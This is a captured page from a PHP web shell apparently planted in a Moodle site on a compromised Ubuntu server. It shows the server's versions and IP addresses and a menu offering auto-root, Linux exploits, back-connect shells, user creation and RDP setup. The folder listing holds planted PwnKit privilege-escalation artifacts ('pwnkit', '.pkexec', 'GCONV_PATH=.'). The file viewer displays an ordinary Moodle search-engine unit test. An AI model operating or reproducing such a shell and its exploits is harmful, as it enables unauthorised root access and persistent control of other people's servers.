Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
search /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxr-x
fixtures
[ DIR ]
drwxrwxr-x
generator
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
base_activity_test.php
15.41
KB
-rw-rw-r--
base_block_test.php
19.6
KB
-rw-rw-r--
base_test.php
4.7
KB
-rw-rw-r--
document_test.php
4.65
KB
-rw-rw-r--
engine_test.php
4.75
KB
-rw-rw-r--
events_test.php
2.66
KB
-rw-rw-r--
external_test.php
2.77
KB
-rw-rw-r--
manager_test.php
57.71
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
skip_future_documents_iterator...
6.74
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : engine_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Search engine base unit tests. * * @package core_search * @category phpunit * @copyright 2015 David Monllao {@link http://www.davidmonllao.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once(__DIR__ . '/fixtures/testable_core_search.php'); /** * Search engine base unit tests. * * @package core_search * @category phpunit * @copyright 2015 David Monllao {@link http://www.davidmonllao.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class search_engine_testcase extends advanced_testcase { public function setUp() { $this->resetAfterTest(); set_config('enableglobalsearch', true); // Set \core_search::instance to the mock_search_engine as we don't require the search engine to be working to test this. $search = testable_core_search::instance(); } /** * Engine basic info. * * @return void */ public function test_engine_info() { $engine = new \mock_search\engine(); $this->assertEquals('mock_search', $engine->get_plugin_name()); // Resolves to the default one. $this->assertEquals('\\core_search\\document', $engine->get_document_classname()); } /** * Test engine caches. * * @return void */ public function test_engine_caches() { global $DB; $engine = new \mock_search\engine(); $course1 = self::getDataGenerator()->create_course(); $this->assertEquals($course1->id, $engine->get_course($course1->id)->id); $dbreads = $DB->perf_get_reads(); $engine->get_course($course1->id); $this->assertEquals($dbreads, $DB->perf_get_reads()); $fakearea1 = \core_search\manager::generate_areaid('plugintype_unexisting', 'fakearea'); $fakearea2 = \core_search\manager::generate_areaid('mod_unexisting', 'morefake'); $this->assertFalse($engine->get_search_area($fakearea1)); $this->assertFalse($engine->get_search_area($fakearea2)); $this->assertFalse($engine->get_search_area($fakearea2)); $areaid = \core_search\manager::generate_areaid('mod_forum', 'post'); $this->assertInstanceOf('\\mod_forum\\search\\post', $engine->get_search_area($areaid)); $dbreads = $DB->perf_get_reads(); $this->assertInstanceOf('\\mod_forum\\search\\post', $engine->get_search_area($areaid)); $this->assertEquals($dbreads, $DB->perf_get_reads()); } /** * Tests the core functions related to schema updates. */ public function test_engine_schema_modification() { // Apply a schema update starting from no version. $engine = new \mock_search\engine(); $engine->check_latest_schema(); $updates = $engine->get_and_clear_schema_updates(); $this->assertCount(1, $updates); $this->assertEquals(0, $updates[0][0]); $this->assertEquals(\core_search\document::SCHEMA_VERSION, $updates[0][1]); // Store older version and check that. $engine->record_applied_schema_version(1066101400); $engine = new \mock_search\engine(); $engine->check_latest_schema(); $updates = $engine->get_and_clear_schema_updates(); $this->assertCount(1, $updates); $this->assertEquals(1066101400, $updates[0][0]); $this->assertEquals(\core_search\document::SCHEMA_VERSION, $updates[0][1]); // Store current version and check no updates. $engine->record_applied_schema_version(\core_search\document::SCHEMA_VERSION); $engine = new \mock_search\engine(); $engine->check_latest_schema(); $updates = $engine->get_and_clear_schema_updates(); $this->assertCount(0, $updates); } /** * Tests the get_supported_orders stub function. */ public function test_get_supported_orders() { $engine = new \mock_search\engine(); $orders = $engine->get_supported_orders(\context_system::instance()); $this->assertCount(1, $orders); $this->assertArrayHasKey('relevance', $orders); } }
Close